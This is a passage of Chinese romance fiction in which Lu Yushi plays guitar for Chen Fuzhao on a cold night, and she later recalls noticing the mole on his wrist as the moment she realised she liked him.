在摇曳的风声里,他们俩看着彼此的眼睛皆是一愣。 在深夜的冷风里,不知是谁感觉自己的心好像被烫了一下。 喜欢你,喜欢你明亮的眼睛。 …… 最后,是陈芙昭匆忙地避开了他的眼神。 她低垂着眼,看见他按弦的手上方,腕骨上那颗显眼的小痣。 手机的屏幕太小,他伴奏起来有些费劲,所以琴弦的声音也有些断断续续,但陆屿时依旧在很努力地弹着。 她想起初次见他,想起那个在手机视频里看到的他,那个坐在舞台上弹着吉他,那首歌是为台下的观众唱的,而此刻这首歌在他的嘴边和手边,只是为了她能够开心一点而已。 想到这,陈芙昭眼底闪烁亮光。 许多年后,二十八岁的陈芙昭仍记得那一夜。 她还清楚地记得自己那时在想什么。 他的腕骨上有颗小痣,我想我可能喜欢他。